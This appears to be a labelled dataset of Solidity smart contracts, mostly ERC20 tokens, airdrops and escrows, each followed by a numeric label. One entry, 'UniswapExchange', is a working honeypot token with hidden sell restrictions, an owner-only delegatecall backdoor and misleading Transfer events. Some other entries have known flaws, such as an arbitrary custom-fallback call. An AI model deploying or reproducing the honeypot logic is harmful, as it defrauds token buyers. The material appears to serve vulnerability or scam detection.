wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
} | 1 | 3,046 |
pragma solidity ^0.4.24;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AlphacoinCoin is IERC20 {
using SafeMath for uint256;
address private deployer;
address private multisend = 0x7c7a2EC168FE7929726fE90B65b4AddC5467c653;
string public name = "Alpha Coin";
string public symbol = "APC";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 65000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1537164000 || msg.sender == deployer || msg.sender == multisend);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1537164000);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 1,424 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function _balanceOf(address owner) view internal returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes memory _data) public returns (bool);
}
contract ForeignToken {
function balanceOf(address _owner) public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract WiseNetwork is ERC20, ERC20Detailed {
uint256 public burned;
address payable public owner;
string private constant NAME = "Wise Network";
string private constant SYMBOL = "WISE";
uint8 private constant DECIMALS = 18;
uint256 private constant INITIAL_SUPPLY = 1 * 10**8 * 10**18;
event Donate(address indexed account, uint256 amount);
event ApproveAndCall(address _sender,uint256 _value,bytes _extraData);
event Transfer2Contract(address indexed from, address indexed to, uint256 value, bytes indexed data);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor () public ERC20Detailed(NAME, SYMBOL, DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
owner = msg.sender;
}
function burn(uint256 _value) public returns(bool) {
burned = burned.add(_value);
_burn(msg.sender, _value);
return true;
}
function transferOwnership(address payable _account) onlyOwner public returns(bool){
require(_account != address(0));
owner = _account;
return true;
}
function getTokenBalance(address tokenAddress, address who) public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw(uint256 _amount) onlyOwner public {
require(_amount <= address(this).balance);
uint256 etherBalance = _amount;
owner.transfer(etherBalance);
}
function withdrawForeignTokens(address _tokenContract, uint256 _amount) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
require(_amount <= amount);
(bool success,) = _tokenContract.call(abi.encodeWithSignature("transfer(address,uint256)", owner, _amount));
require(success == true);
return true;
}
function() external payable{
emit Donate(msg.sender, msg.value);
}
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _amount, empty);
}else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
function transfer(address _to, uint256 _amount, bytes memory _data, string memory _custom_fallback) onlyPayloadSize(2 * 32) public returns (bool success) {
require(msg.sender != _to);
if(isContract(_to)) {
_transfer(msg.sender, _to, _amount);
ContractReceiver receiver = ContractReceiver(_to);
(bool success1,) = address(receiver).call(abi.encodeWithSignature(_custom_fallback, msg.sender, _amount, _data));
require(success1 == true);
emit Transfer2Contract(msg.sender, _to, _amount, _data);
return true;
}
else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
function transfer(address _to, uint256 _amount, bytes memory _data) onlyPayloadSize(2 * 32) public returns (bool success) {
require(msg.sender != _to);
if(isContract(_to)) {
return transferToContract(_to, _amount, _data);
}
else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) payable public returns (bool) {
approve(_spender, _value);
(bool success1,) = msg.sender.call(abi.encodeWithSignature("receiveApproval(address,uint256,address,bytes)", msg.sender, _value, this, _extraData));
require(success1 == true);
emit ApproveAndCall(_spender, _value, _extraData);
return true;
}
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) {
_transfer(msg.sender, _to, _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer2Contract(msg.sender, _to, _value, _data);
return true;
}
} | 1 | 3,775 |
pragma solidity ^0.4.25 ;
contract VOCC_I056_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I056_20181211 " ;
string public symbol = " VOCC_I056_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 4,119 |
pragma solidity 0.4.25;
library ECDSA {
function recover(bytes32 hash, bytes signature)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
}
}
contract Web3Provider {
using ECDSA for bytes32;
uint256 constant public REQUEST_PRICE = 100 wei;
uint256 public clientDeposit;
uint256 public chargedService;
address public clientAddress;
address public web3provider;
uint256 public timelock;
bool public charged;
constructor() public {
web3provider = msg.sender;
}
function() external {}
function subscribeForProvider()
external
payable
{
require(clientAddress == address(0));
require(msg.value % REQUEST_PRICE == 0);
clientDeposit = msg.value;
clientAddress = msg.sender;
timelock = now + 1 days;
}
function chargeService(uint256 _amountRequests, bytes _sig)
external
{
require(charged == false);
require(now <= timelock);
require(msg.sender == web3provider);
bytes32 hash = keccak256(abi.encodePacked(_amountRequests));
require(hash.recover(_sig) == clientAddress);
chargedService = _amountRequests*REQUEST_PRICE;
require(chargedService <= clientDeposit);
charged = true;
web3provider.transfer(chargedService);
}
function withdrawDeposit()
external
{
require(msg.sender == clientAddress);
require(now > timelock);
clientAddress.transfer(address(this).balance);
}
} | 0 | 736 |
pragma solidity >=0.4.0 <0.6.0;
contract SeeYouAtEthcon2020 {
address public winner;
uint256 public timeLock;
constructor() public {
timeLock = uint256(0) - 1;
}
function () payable external {
require(msg.value >= 0.1 ether);
timeLock = now + 6 hours;
winner = msg.sender;
}
function claim() public {
require(msg.sender == winner);
require(now >= timeLock);
msg.sender.transfer(address(this).balance);
}
} | 0 | 2,015 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC20CompatibleToken is owned, IERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint) balances;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol,
address owner
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balances[owner] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function transfer(address _to, uint _value) public {
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return ;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
}
contract MangoCoin is owned, ERC20CompatibleToken {
using SafeMath for uint;
mapping (address => bool) public frozenAccount;
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol,
address owner
) ERC20CompatibleToken(initialSupply, tokenName, tokenSymbol, owner) public {}
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
return ;
}
} | 1 | 3,515 |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract AirDrop is Ownable {
Token token;
event TransferredToken(address indexed to , uint256 value);
event FailedTransfer(address indexed to, uint256 value);
modifier whenDropIsActive() {
assert(isActive());
_;
}
function AirDrop () {
address _tokenAddr = 0x382117315856a533549eA621542Ccce13E54aE82;
token = Token(_tokenAddr);
}
function isActive() constant returns (bool) {
return (
tokensAvailable() > 0
);
}
function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {
uint256 i = 0;
while (i < dests.length) {
uint256 toSend = values[i] * 10**18;
sendInternally(dests[i] , toSend, values[i]);
i++;
}
}
function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {
uint256 i = 0;
uint256 toSend = value * 10**18;
while (i < dests.length) {
sendInternally(dests[i] , toSend, value);
i++;
}
}
function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal {
if(recipient == address(0)) return;
if(tokensAvailable() >= tokensToSend) {
token.transfer(recipient, tokensToSend);
TransferredToken(recipient, valueToPresent);
} else {
FailedTransfer(recipient, valueToPresent);
}
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 1 | 3,825 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,579 |
pragma solidity ^0.4.18;
contract ERC20 {
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
}
contract TokenTrust {
address public owner;
uint256 start;
mapping(address=>uint256) public trust;
event AddTrust(address indexed _token, uint256 indexed _trust);
modifier onlyOwner() {
if (msg.sender!=owner) revert();
_;
}
function TokenTrust() public {
owner = msg.sender;
start = block.number;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function getStart() public constant returns(uint256) {
return start;
}
function getTokenTrust(address tadr) public constant returns(uint256) {
return trust[tadr];
}
function withdrawTokens(address tadr, uint256 tokens) public onlyOwner {
if (tokens==0 || ERC20(tadr).balanceOf(address(this))<tokens) revert();
trust[tadr]+=1;
AddTrust(tadr,trust[tadr]);
ERC20(tadr).transfer(owner, tokens);
}
function addTokenTrust(address tadr) public payable {
if (msg.value==0 || tadr==address(0) || ERC20(tadr).balanceOf(msg.sender)==0) revert();
trust[tadr]+=1;
AddTrust(tadr,trust[tadr]);
owner.transfer(msg.value);
}
function () payable public {
if (msg.value>0) owner.transfer(msg.value);
}
} | 1 | 3,632 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
